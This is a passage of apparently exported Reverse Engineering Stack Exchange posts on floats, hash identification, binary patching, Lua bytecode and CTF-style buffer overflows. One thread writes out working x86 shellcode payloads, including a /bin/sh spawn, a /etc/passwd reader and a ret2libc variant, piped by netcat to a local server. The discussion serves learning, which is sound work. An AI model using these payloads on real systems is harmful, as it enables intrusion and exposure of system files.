0000 0000 0000  ....+...........\n0x000007e0  1400 0000 0000 0000 017a 5200 0178 1001  .........zR..x..\n0x000007f0  1b0c 0708 9001 0000 2400 0000 1c00 0000  ........$.......\n0x00000800  50fd ffff 2000 0000 000e 1046 0e18 4a0f  P... ......F..J.\n0x00000810  0b77 0880 003f 1a3b 2a33 2422 0000 0000  .w...?.;*3$\"....\n0x00000820  1400 0000 4400 0000 48fd ffff 0800 0000  ....D...H.......\n0x00000830  0000 0000 0000 0000 1c00 0000 5c00 0000  ............\\...\n0x00000840  70fe ffff 2200 0000 0041 0e10 8602 430d  p...\"....A....C.\n0x00000850  065d 0c07 0800 0000 4400 0000 7c00 0000  .]......D...|...\n0x00000860  80fe ffff 6500 0000 0042 0e10 8f02 420e  ....e....B....B.\n0x00000870  188e 0345 0e20 8d04 420e 288c 0548 0e30  ...E. ..B.(..H.0\n0x00000880  8606 480e 3883 074d 0e40 720e 3841 0e30  ..H.8..M.@r.8A.0\n0x00000890  410e 2842 0e20 420e 1842 0e10 420e 0800  A.(B. B..B..B...\n0x000008a0  1400 0000 c400 0000 a8fe ffff 0200 0000  ................\n0x000008b0  0000 0000 0000 0000 0000 0000 ffff ffff  ................\n0x000008c0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000008d0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000008e0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000008f0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000900  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000910  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000920  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000930  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000940  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000950  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000960  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000970  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000980  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000990  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000009a0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000009b0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000009c0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000009d0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000009e0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x000009f0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a00  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a10  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a20  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a30  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a40  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a50  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a60  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a70  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a80  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000a90  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000aa0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000ab0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000ac0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000ad0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000ae0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n0x00000af0  ffff ffff ffff ffff ffff ffff ffff ffff  ................\n
    \n\n

    And last but not least, do not use Sd text.bin

    \n\n

    Instead use:

    \n\n
    [0x00000580]> iO d/S/.text > text.bin\n
    \n" }, { "Id": "14916", "CreationDate": "2017-03-16T08:36:46.550", "Body": "

    I'm facing a dilemma whether to choose RE career or Penetration Tester career. I have a deep interest in both and want to become expert in both of them.But I wonder if it is possible for a human to be able to be expert in multiple fields? Are there people who are very good in RE and in Pentesting? some people told me to stop chasing multiple fields because I wouldn't be able to become expert.\nWhat do you think?

    \n\n

    Thanks in advance.

    \n", "Title": "Choose a career path", "Tags": "|career-advice|", "Answer": "

    Preamble: I'm working as reverse engineer in the field of malware in an research institute

    \n\n

    In my opinion, even though they may be some overlap, these are completely different disciplines and both leave room for further specialization.

    \n\n

    For example, most reverses focus on either programs or firmware, while the mobile and bytecode are more exotic disciplines which are often combined with the main discipline.

    \n\n

    Of course a good reverser will be capable of reversing both firmware and applications, but will have problems if the focus is shifted in either direction e.g. when a firmware reverser has to reverse highly obfuscated malware.

    \n\n

    You can always try to be a jack of all trades, but you won't be able to specialize in each direction. Although both reversing and pentesting may seem manageable at first, you'll notice that they run deep on some topics.

    \n\n

    edit: Nontheless, I'm voting to close this topic because its mainly opinion based. No one can make this decision for you. You could try reddit for other opinions.

    \n" }, { "Id": "14932", "CreationDate": "2017-03-17T19:49:01.217", "Body": "

    I am trying to understand how an application I have been using is setting its data in XYZ coordinates which I wish to convert to HEX value. The application essentially shows me the XYZ in one format (float maybe), but I am only able to edit this data in HEX, so I need to understand the translation to make proper edits.

    \n\n

    First off lets look at the values displayed in the program

    \n\n

    X = 1.085597\nY = 4.703604\nZ = -17.573305

    \n\n

    The HEX values for these XYZ values is 12 bytes, which I assume is 4 bytes for X values, 4 for Y, and for for Z. Here is the HEX output:

    \n\n

    19 B3 87 44 D6 FC 92 45 9C 4A 89 C6

    \n\n

    So what I am wondering is if there is a way to ascertain (from the data I have provided) the formula that the application is using so I can convert the XYZ values to HEX values?

    \n\n

    Someone metioned it might be IEEE 754 standard? but I'm new to hex editing so I'm not sure how to apply this or what it means.

    \n\n

    HEX values appear to be in little endian.

    \n", "Title": "how to translate HEX values into X Y Z", "Tags": "|hex|", "Answer": "

    The hex you posted is equivant to the float value * 10^3

    \n\n

    That is 1085.597 == 0x4487b319 and so on

    \n\n

    Use any online calculator to check in both direction like

    \n\n

    https://www.h-schmidt.net/FloatConverter/IEEE754.html

    \n" }, { "Id": "14944", "CreationDate": "2017-03-19T04:26:45.080", "Body": "

    I am currently practicing for a CTF competition and one of the practice challenges is a buffer overflow exploit. Before this challenge I knew absolutely nothing about these exploits, but I've been reading into them and trying to understand the basics.

    \n\n
    #include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n\nvoid win(void)\n{\n    system(\"cat flag.txt\");\n    return;\n}\n\n\nint main(int argc, char *argv[])\n{\n    printf(\"Give me some data: \\n\");\n    fflush(stdout);\n    char buffer[32];\n    gets(buffer);\n    printf(\"You entered %s\\n\", buffer);\n    fflush(stdout);\n    return 0;\n}\n
    \n\n

    So what I know so far is that I need to redirect to the win() function and that there is a buffer of 32 characters. I broke down the program into assembly and found that the win() function's address is 0x080484fd. After that, I connected to the program's server and typed 32 characters and the function's address. The program only returned my input, and did not redirect to the win() function. I did some more reading and tried doing it from another shell with the command:

    \n\n
    sudo python -c 'print \"a\"*32 + \"\\x08\\x04\\x84\\xfd\"' >& /dev/pts/2\n
    \n\n

    Sadly, this did not get me to the win() function. What am I doing wrong? I've hit a total block and not sure what else to try. Any advice and help would be greatly appreciated.

    \n", "Title": "Basic Buffer Overflow Help", "Tags": "|c|exploit|buffer-overflow|", "Answer": "

    You're doing well, with a little bit help you can exploit this program. First, let's look at stack layout for Linux (i assume it is Linux because of sudo and it is more common than other Unix-like OSes).

    \n

    \"Linux

    \n

    old-EIP is not immediately after our buffer.

    \n

    I compiled your program in my 32-bit Linux Mint and as you can see\nGCC throw security warning.

    \n

    \"You

    \n

    Lets, prepare our exploit.

    \n

    \"Segfault\"

    \n

    Segmentation fault, most probably EIP tried to execute wrong address. (Maybe because it is a CTF :)

    \n

    \"Exploiting\nProgram crashed again:

    \n

    \"Crashed\"

    \n

    You can see we overwritten old-EBP value before old-EIP. We just need to find function symbol and smack the stack (old-EIP) value with that address.

    \n

    \"Exploit

    \n

    I hope it made things little more clear for you.

    \n

    Little security warning for you: Do not use sudo unless you need it.

    \n" }, { "Id": "14951", "CreationDate": "2017-03-18T02:20:50.507", "Body": "

    We have an embedded product, which we are carrying for several hardware iterations since more than 5 years ago. We have all the source code, most of it nicely documented. As the product is actively sold and needs an upgrade, I have been tasked to design next generation improved version.

    \n\n

    While we have all the source code, and most of it is well documented, the security part is not, especially its slowest part, a 128-bit hash function with 72 rounds. I can step trough it in our debugger, execute it, and the code works fine except its slowness. If I would know which cryptography standard it is, I could attempt to upgrade it to be executed in hardware, which would drastically speed it up. (The original consultant who wrote this function is not with our company and I cannot find her).

    \n\n

    Is there any logical way to find out which encryption are we executing?\nI do not need a help to do my work, I am asking for an advice if there is any strategy how to look at code ('unoptimized mess'); learning the principle of it (like this one has 72 rounds and hashes 128 bits); then finding candidate standards doing the same thing.

    \n\n

    I would think that after finding a documented standard, I should be able to hash various numbers by using both our hash and the standard hash, and simply see if the results match?

    \n\n

    I looked on the web for information about known functions using 72 rounds, like the Skein algorithm, but could not find anything similar.

    \n\n

    Are there any known hash values for known standards, for example results of hashing 0? This hash converts 0 to these 16 hexadecimal bytes:

    \n\n
    ae c5 40 44 df 2d 91 1c 87 ab 1a ff 59 09 aa b7\n
    \n\n

    Function beginning and end is below, as some of you requested, the full function is at: \nfull_function_code

    \n\n

    It looks like the previous programmer let the old C compiler to convert it, and then used it in 'assembly' style. Maybe it was due to avoid compiler optimizing, just my guess.

    \n\n

    There are 72 rounds, each of which ends with a call to function TricoreDextr(); which is the C equivalent of Infineon TriCore DEXTR instruction. Think of DEXTR as splitting a 64-bit number into two parts (at the selected bit location) and swapping them.

    \n\n

    Any concept explanations is a great help, thank you!

    \n\n
    /*\n * @param in_arr    16 byte long array, input data (128 bits)\n * @param out_arr   16 byte long array, output data (128 bits)\n */\nvoid Hash16bytes(unsigned char *in_arr, unsigned char *out_arr) \n{\n  long d0, d1, d2, d3, d4, d5, d6, d7, d8, d9, d10, d11, d12, d13, d15;\n  long IN[16];\n\n  d4 = 0xB12E8FB5;\n\n  int i;\n  for (i = 0; i < 16; i++)\n  {\n      IN[i] = (long) (*(in_arr + i));\n  }\n\n  d11 = (IN[3] << 24) | (IN[2] << 16) | (IN[1] << 8) | IN[0];\n  d10 = (IN[7] << 24) | (IN[6] << 16) | (IN[5] << 8) | IN[4];\n  d12 = (IN[0xB] << 24) | (IN[0xA] << 16) | (IN[9] << 8) | IN[8];\n  d13 = (IN[0xF] << 24) | (IN[0xE] << 16) | (IN[0xD] << 8) | IN[0xC];\n\n  /* block like this below repeats 72 times... */\n  d3 = 0x7025BD47;\n  d8 = 0xCCEE4EFE;\n  d8 += d13; \n  d8 += d3;\n  d8 = TricoreDextr(d8, 6);\n\n  /* \n     etc., TricoreDextr is called total of 72 times \n   */\n\n  d0 += d15;\n  d0 += 0x5C4E0000;\n  d0 -= 0x2EDC;\n  d0 = TricoreDextr(d0, 5);\n\n  *(out_arr + 3) = (unsigned char) ((d5 >> 24) & 0xFF);\n  *(out_arr + 2) = (unsigned char) ((d5 >> 16) & 0xFF);\n  *(out_arr + 1) = (unsigned char) ((d5 >> 8) & 0xFF);\n  *(out_arr + 0) = (unsigned char) ((d5) & 0xFF);\n\n  *(out_arr + 7) = (unsigned char) ((d6 >> 24) & 0xFF);\n  *(out_arr + 6) = (unsigned char) ((d6 >> 16) & 0xFF);\n  *(out_arr + 5) = (unsigned char) ((d6 >> 8) & 0xFF);\n  *(out_arr + 4) = (unsigned char) ((d6) & 0xFF);\n\n  d8 += d0;\n  d8 += 0x10320000;\n  d8 += 0x5476;\n\n  *(out_arr + 0xB) = (unsigned char) ((d8 >> 24) & 0xFF);\n  *(out_arr + 0xA) = (unsigned char) ((d8 >> 16) & 0xFF);\n  *(out_arr + 9) = (unsigned char) ((d8 >> 8) & 0xFF);\n  *(out_arr + 8) = (unsigned char) ((d8) & 0xFF);\n\n  *(out_arr + 0xF) = (unsigned char) ((d7 >> 24) & 0xFF);\n  *(out_arr + 0xE) = (unsigned char) ((d7 >> 16) & 0xFF);\n  *(out_arr + 0xD) = (unsigned char) ((d7 >> 8) & 0xFF);\n  *(out_arr + 0xC) = (unsigned char) ((d7) & 0xFF);\n}\n
    \n", "Title": "Is there a way to find out which hash standard by studying the source code?", "Tags": "|c|static-analysis|encryption|cryptography|hash-functions|", "Answer": "

    This is quite likely either a botched RIPEMD128 or something very similar, as otus also commented.

    \n\n

    You wanted to know how to approach such a task so I'll explain what I did.

    \n\n

    Typically, when trying to identify crypto-related code you rely on spotting constants. In this case, the constants seem to be obfuscated on purpose, so you need to play around with the numbers, throw it into Google and hope some results come up.

    \n\n

    Assuming this might be the RIPE-family (by constant hunting), I sought out to find some code. As the input/output is 128 bits, I downloaded the code for RIPE128 from here:

    \n\n

    https://homes.esat.kuleuven.be/~bosselae/ripemd160/ps/AB-9601/rmd128.c

    \n\n

    I then looked over it. I noticed that the operations in compress() seem to use a left rotate (check the header file for the macro definitions), and that odd TricoreDextr() is effectively something similar.

    \n\n

    So then I grepped your full code for all TricoreDextr() lines, and compared it to the ops in compress() and some similarities appeared:

    \n\n
    GG(aa, bb, cc, dd, X[ 7],  7);\nGG(dd, aa, bb, cc, X[ 4],  6);\nGG(cc, dd, aa, bb, X[13],  8);\nGG(bb, cc, dd, aa, X[ 1], 13);\n
    \n\n

    compare to:

    \n\n
    d8 = TricoreDextr(d8, 7);\nd6 = TricoreDextr(d6, 6);\nd5 = TricoreDextr(d5, 8);\nd7 = TricoreDextr(d7, 0xD);\n
    \n\n

    for example. The TricoreDextr calls don't fully match the ripe128 implementation. I also noticed that only some of the magic numbers used inside these operations appear in your code.

    \n\n

    For example

    \n\n
    #define GG(a, b, c, d, x, s)        {\\\n  (a) += G((b), (c), (d)) + (x) + 0x5a827999UL;\\\n  (a) = ROL((a), (s));\\\n}\n
    \n\n

    does appear:

    \n\n
    d5 += 0x5A820000;\nd5 += 0x7999;\n
    \n\n

    but others don't, so some operations that should be there if it was RIPE128 are definitely missing.

    \n\n

    Reading Wikipedia taught me that before RIPE160 (and RIPE128), there was an original design for a 128 bit RIPEMD hash function but I could not locate any sourcecode from back then.

    \n\n

    The only reference to the original 128 bit RIPEMD hash function pointed to

    \n\n

    https://www.springer.com/in/book/9783540606406

    \n\n

    which should contain the original algorithm I suppose, but it's a book that costs money.

    \n\n

    Knowing all that, my best guess would be that this is the original RIPEMD 128 bit hash function obfuscated on purpose seeing as some but not all operations from the modern implementation are there, hinting that they could be an addition from the 2nd version which would explain why they are missing. That or someone used the modern RIPEMD128 implementation and did weird things to it.

    \n" }, { "Id": "14957", "CreationDate": "2017-03-20T16:21:58.800", "Body": "

    I have a server (for reference: pastebin.com/ghJX69uH) that I can netcat to and it will ask to input a message.

    \n\n

    I know it is vulnerable to buffer overflow, but I can't seem to get the shellcode to run. I have successfully pointed the return address back to the NOP slide and it hits the /bin/sh but it does not spawn a shell. Here is my code:

    \n\n
    echo \"`python -c 'print \"\\x90\"*65517 + \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\"  + \"\\xac\\xf3\\xfe\\xbf\"*10 + \"\\n\"'`\" | nc 127.0.0.1 1111\n
    \n\n

    It's a simple buffer overflow with [NOP SLIDE | SHELLCODE (spawn shell /bin/sh) | return address]

    \n\n

    The first image shows that the return address is 0xbffef3ac which goes to NOP sled, so all is OK! The second image shows a SIGSEGV with no shell, nothing happens.

    \n\n

    \"enter\n\"enter

    \n\n

    What's going on here? I had a look at ebp and it showed something weird: my \\x90 followed by what should be my shellcode, but looking differently. Any insights on what could be wrong or how to go about this?

    \n\n
    0xbffef42c: 0x90909090  0x90909090  0x90909090  0x90909090\n0xbffef43c: 0x90909090  0x90909090  0x90909090  0x90909090\n0xbffef44c: 0x90909090  0x50c03190  0x732f2f68  0x622f6868\n0xbffef45c: 0xe3896e69  0xbffef468  0x00000000  0x6e69622f\n0xbffef46c: 0x68732f2f  0x00000000  0xbffef3ac  0xbffef3ac\n0xbffef47c: 0xbffef3ac  0xbffef3ac  0xbffef3ac  0xbffef3ac\n0xbffef48c: 0xbffef3ac  0x00000000  0x00000000  0x00000000\n0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000\n
    \n\n

    Edit: Format of code is from numberphile, shellcode is from http://shell-storm.org/shellcode/files/shellcode-827.php, which I ran and spawns a shell. I tried adding padding (I put A's) between shellcode and return address, but something strange happens again:

    \n\n
    New code: echo \"`python -c 'print \"\\x90\"*65490 + \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\"  + \"A\"*27 + \"\\xac\\xf4\\xfe\\xbf\" + \"\\n\"'`\" | nc 127.0.0.1 1129\n\n\n0xbffef42c: 0x90909090  0x90909090  0x90909090  0xc0319090\n0xbffef43c: 0x2f2f6850  0x2f686873  0x896e6962  0x895350e3\n0xbffef44c: 0xcd0bb0e1  0x41414180  0x41414141  0x41414141\n0xbffef45c: 0x41414141  0x41414141  0x41414141  0x00000001\n0xbffef46c: 0xbffef4ac  0x08049000  0x00000004  0xbffff4a4\n0xbffef47c: 0xbffff490  0xbffff48c  0x00000004  0x00000000\n0xbffef48c: 0x00000000  0x00000000  0x00000000  0x00000000\n0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000\n0xbffef4ac: 0x00000000  0x00000000  0x00000000  0x0000000\n
    \n\n

    Edit: So i managed to successfully print all of the etc/passwd, but not sure why the /bin/sh shellcode doesnt work

    \n\n

    Works: /etc/passwd

    \n\n
    echo \"`python -c 'print \"\\x90\"*65478+\"\\x31\\xc9\\x31\\xc0\\x31\\xd2\\x51\\xb0\\x05\\x68\\x73\\x73\\x77\\x64\\x68\\x63\\x2f\\x70\\x61\\x68\\x2f\\x2f\\x65\\x74\\x89\\xe3\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x03\\x66\\xba\\xff\\x0f\\x66\\x42\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb3\\x01\\xb0\\x04\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80\"  +\"AAAA\\x9c\\xf3\\xfe\\xbf\\x9c\\xf3\\xfe\\xbf\" + \"\\n\"'`\" | nc 127.0.0.1 2010\n
    \n\n

    Doesnt't work: /bin/sh

    \n\n
    echo \"`python -c 'print \"\\x90\"*65513 + \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\" + \"AAAA\\x9c\\xf3\\xfe\\xbf\\x9c\\xf3\\xfe\\xbf\\x9c\" + \"\\n\"'`\" | nc 127.0.0.1 3003\n
    \n", "Title": "Buffer overflow on server", "Tags": "|gdb|exploit|buffer-overflow|shellcode|", "Answer": "

    We have two major stack protection for buffer overflows:

    \n\n

    You land on nopsled but, you get segmentation fault. Because your operating system marked program stack as non-executable and processor raises the exception when program counter addresses that segment. But, even we have an executable stack (for GCC use -z execstack) your program crashes:

    \n

    \"Arithmetic

    \n

    I changed shellcode to read /etc/passwd, it works until another SIGSEGV. It is not relevant why your previous shellcode doesn't work, it is a practical problem.

    \n

    \"/etc/passwd

    \n

    For another scenario:

    \n

    How can we get around non-executable stack? The most common way is a method called ret2libc (return to libc) using system(const char *). But, we will use _exit(int) for simplicity. For our new attack, I compiled it with non-executable stack option and send the same stream.

    \n
    $ nc localhost 1337 < exp.loit\n
    \n

    Let's look our stack:

    \n

    \"Stack\"

    \n

    We can't understand which part of your input overflows where and we need that to pass the argument(s). I tried a different payload to find what goes where:

    \n
    python -c 'print "\\x90"*65482 + "\\x31\\xc9\\x31\\xc0\\x31\\xd2\\x51\\xb0\\x05\\x68\\x73\\x73\\x77\\x64\\x68\\x63\\x2f\\x70\\x61\\x68\\x2f\\x2f\\x65\\x74\\x89\\xe3\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x03\\x66\\xba\\xff\\x0f\\x66\\x42\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb3\\x01\\xb0\\x04\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80"  + "\\x90"*12 + "\\xac\\xf3\\xfe\\xbf" +"\\x00\\x11\\x22\\x33"*2 + "\\n"' > exp.loit\n
    \n

    We get:

    \n

    \"Stack

    \n

    We just need _exit address

    \n
    gdb-peda$ p &_exit\n$1 = (<text variable, no debug info> *) 0xb7ec6f24 <_exit>\n
    \n

    Now we are ready to execute our exploit:

    \n
    python -c 'print "\\x90"*65482 + "\\x31\\xc9\\x31\\xc0\\x31\\xd2\\x51\\xb0\\x05\\x68\\x73\\x73\\x77\\x64\\x68\\x63\\x2f\\x70\\x61\\x68\\x2f\\x2f\\x65\\x74\\x89\\xe3\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x03\\x66\\xba\\xff\\x0f\\x66\\x42\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb3\\x01\\xb0\\x04\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80"  + "\\x90"*12 + "\\x24\\x6f\\xec\\xb7" +"\\x01\\x00\\x00\\x00"*2 + "\\n"' > exp.loit\n
    \n

    \"Final

    \n

    Basically ret2libc is that.

    \n" }, { "Id": "14958", "CreationDate": "2017-03-20T16:30:24.757", "Body": "

    So I have been exploring reverse engineering for the past few months and currently I am reversing a dumped executable which seems to be fully intact

    \n\n

    I have stumbled upon something I can't seem to grasp/understand. When I reverse upwards to find out where some variable in a function originated from, I most of them time end up at RUNTIME_FUNCTION xrefs. I get stuck here since I can't go up any further.

    \n\n

    My end goal is to find out the whole pointer chain from a static address to the target variable used in some function. I start searching upwards from a certain instruction and follow a certain variable, but unfortunately I get to the RUNTIME_FUNCTION references when I am about 3 levels deep.

    \n\n

    I've read that runtime functions have something to do with SEH. But I couldn't find any constructed information about this RUNTIME_FUNCTION in IDA. Shouldn't some variable always lead to some static address inside the .data section? Does someone know what is happening here?

    \n\n

    In this image you can see that when I want to figure out what references/uses this function I only get those RUNTIME_FUNCTION's:\n\"enter

    \n\n

    How would you normally go around this issue to get back on track and reverse further/beyond the RUNTIME_FUNCTION?

    \n\n

    Executable segments:\n\"enter

    \n\n

    Any help is appreciated, thanks!

    \n", "Title": "Reversing variable origin (pointer chain) in IDA. Stuck on RUNTIME_FUNCTION XREF", "Tags": "|ida|windows|", "Answer": "

    RUNTIME_FUNCTION is a system structure added by the compiler for all functions in a proper win64 executable. It is only used by the OS when processing exceptions, so it has no relation to your game's variables. You should ignore those xrefs and look elsewhere.

    \n" }, { "Id": "14963", "CreationDate": "2017-03-21T02:46:15.157", "Body": "

    I have a small exe program that runs in a system32/cmd window, and when it is finished running its small script it prompts the user to press enter to close.\n I want to simply have the application close once the process is finished wihtout having to enter a keystroke. How can I edit .exe file to do this?

    \n\n

    Is there some line in HEX i can edit? What am I looking for?

    \n", "Title": "edit CMD exe to not wait for confimation", "Tags": "|binary-editing|", "Answer": "
      \n
    1. Get a decent Disassembler running (radare, IDA Pr0, BinaryNinja, x64dbg..)
      2. \n
    2. Find the string you are looking for in memory e.g. 'press enter ...'
      3. \n
    3. Look up the cross references to find the place in memory it's used for an API call
      4. \n
    4. Skip that part (look at later or earlier branches to patch, or just patch the bytes to jmp to the end / maybe a return will do the trick)
      5. \n
    \n\n

    edit

    \n\n

    The memory location you are looking for will do something like print the string utilizing printf and then wait for user input. In the end, it will return.

    \n\n

    Basically you can try to alter branch conditions through binary patching or you could try to do a hard binary patch. In the later case, you can just try to patch a return-statement instead of the input-waiting-function or insert a jump.

    \n\n

    \"enter

    \n\n

    NOP-ing out the highlighted call did the trick.

    \n\n

    edit

    \n\n

    Special regards to w s for in-chat guidance!

    \n" }, { "Id": "14967", "CreationDate": "2017-03-21T08:43:04.723", "Body": "

    I wanted to know which permissions each section of the following PE Sections have (windows):

    \n\n
    .idata\n.rsrc\n.data\n.text\n.bss\n.rdata\n.edata\n
    \n\n

    Thanks in advance, I couldn't found an answer using google. :)

    \n", "Title": "PE Sections Permissions", "Tags": "|windows|pe|", "Answer": "
    C:\\Program Files\\Microsoft Visual Studio 14.0>dumpbin c:\\Windows\\System32\\calc.e\nxe /headers | grep SECTION -A 14 |  grep -A 3 flags\n60000020 flags\n         Code\n         Execute Read\n\n--\nC0000040 flags\n         Initialized Data\n         Read Write\n\n--\n40000040 flags\n         Initialized Data\n         Read Only\n\n--\n42000040 flags\n         Initialized Data\n         Discardable\n         Read Only\n\nC:\\Program Files\\Microsoft Visual Studio 14.0>\n
    \n" }, { "Id": "14973", "CreationDate": "2017-03-21T11:45:51.113", "Body": "

    I have some questions about some hopper disassembler features.

    \n\n\n\n

    Used version of the Hopper is 4.0.35.\nThank you in advance.

    \n", "Title": "Basic actions in hopper disassembler", "Tags": "|hopper|", "Answer": "

    Recent versions of Hopper do let you define the types for local variables.

    \n\n

    With the focus on a procedure open the inspector and navigate down to the \"Local Variables\" section. Double click on the variable you want to change and a dialog will appear where you can change the name /and/ set the type for that variable.

    \n" }, { "Id": "14974", "CreationDate": "2017-03-21T15:14:15.753", "Body": "

    Is it possible to assemble back the ChunkSpy's dissembled LUA files? Here's an example:

    \n\n
    0B50  05000000           [001] getglobal  0   0        ; script\n0B54  C63E0000           [002] gettable   0   0   251  ; \"reload\"\n0B58  81000001           [003] loadk      1   2        ; \"player/common.lua\"\n0B5C  59000100           [004] call       0   2   1  \n
    \n\n

    (And this is how it's actually supposed to look like.)

    \n\n
    script.reload(\"player/common.lua\")\n
    \n\n

    I tried to use Unluac and Luadec for files I want to decompile, but ChunkSpy is the only program that manages to open them. And these 3 tools are the ones I can use eventually, since all other tools were designed to work with LUB versions 5.1, 5.2 or 5.3. But, the version of my files is 5.0.2. I've searched everywhere for any suggestions about my problem, but I couldn't find anything.

    \n\n

    Despite the fact that the needed program may not even exist, and absolutely nothing can't be done with these LUB files, I still would like to know, why Unluac and Luadec fail at decompiling those files, while ChunkSpy doesn't have any problems with them?

    \n", "Title": "How to assemble back a disassembled ChunkSpy LUA?", "Tags": "|assembly|decompile|byte-code|", "Answer": "
    \n

    How to assemble back a disassembled ChunkSpy LUA?

    \n
    \n\n

    You don't. From the ChunckSpy website:

    \n\n
    \n

    ChunkSpy is a tool to disassemble a Lua 5 binary chunk into a verbose listing that can then be studied. Its output bears a resemblance to the output listing of assemblers. ... If you want to disassemble to source code, try LuaDec by Hisham Muhammad.

    \n
    \n\n

    As for your other question

    \n\n
    \n

    I still would like to know, why Unluac and Luadec fail at decompiling those files, while ChunkSpy doesn't have any problems with them?

    \n
    \n\n

    Please note that this is hardly an reverse engineering question and very specific to the internal structure of the mentioned projects. You may be better off posting to the project maintainers themselves.

    \n\n

    From the Unluac site:

    \n\n
    \n

    It requires that debugging information has not been stripped from the chunk.

    \n
    \n\n

    From the LuaDec site:

    \n\n
    \n

    LuaDec, in its current form, is not a complete decompiler. It does succeed in decompiling most of the Lua constructs

    \n
    \n" }, { "Id": "14979", "CreationDate": "2017-03-22T00:39:21.167", "Body": "

    I just finished up with cracking this crackme I found off the net and it's cracked and everything,but the problem is that in ollydebug I don't happen to see a option to copy the modified code and save it as a executable. I tried googling this up but no answers were in the slightest bit useful. I right clicked the CPU window and hovered over edit but it wasn't there. However when it did show up it was under the module ntdll instead of the actual exe. To be specific I'm simply trying to copy my modified code to a executable that's already cracked but the option to perform such a action isn't there it only pops up when I'm under ntdll but not the exe. Many thanks to whoever can solve this problem

    \n", "Title": "I'm unable to copy to executable (ollydebug)", "Tags": "|ollydbg|debugging|debuggers|compilers|", "Answer": "

    f your code pops up in ntdll you have added your code in ntdll do not do that dont modify system dlls you may destabilze your os add code only to your executable and use copy to executable

    \n\n

    Dbg break is the first break for any process called system breakpoint andcit is ntdll step or run to your executable code viz address of entry point or start or main

    \n\n

    see snap shot

    \n\n

    \"enter

    \n\n

    copy to executable if you have modification in the executable will be available here
    \n(if you do not have any modifications in the executable address space this wont appear
    \nthe modification that you have in ntdll wont appear here
    \nyou need to modify / add / delete / nop / do whatever in exes physicallly available space
    \nyou cant save to exe if you have code in page alignment / section alignment padding space

    \n\n

    \"enter

    \n" }, { "Id": "14982", "CreationDate": "2017-03-22T16:22:14.680", "Body": "

    I'm trying to extract a NAND flash dump of an old Walkman player. The dump was done by a friend and unfortunately cannot be redone because the chip was destroyed.\nThe dump was supposed to be just user data without OOB but it seems something went wrong and OOB is still there. \nI tried various ways of removing OOB and I can get some reasonably-looking data but many things are still off and I can't extract proper files.

    \n\n

    Here's what I tried.

    \n\n

    Just by looking visually into hex dump, there are a 16-byte lines beginning with \"01 00 00 00\" \nevery 0x200 bytes which look out of place. \n\"hex\nI made a short script to remove 16 bytes after every 0x200:

    \n\n
    import sys\ninf = open(sys.argv[1] ,\"rb\")\nof = open(sys.argv[2],\"wb\")\nclen = 0x200\nc = inf.read(clen)\noff = 0\nwhile c:\n  off = inf.tell()\n  oob = inf.read(0x10)\n  if oob[:4]!=\"\\x01\\x00\\x00\\x00\":\n   print \" bad OOB at %08X?\" % off, oob.encode('hex')\n   break\n  of.write(c)\n  if (off&0x1000) ==0:\n   print \"%08X\" % off\n  c = inf.read(clen)\n\n\ninf.close()\nof.close()\nprint \"done.\"\n
    \n\n

    The added sanity check triggers pretty quickly:

    \n\n
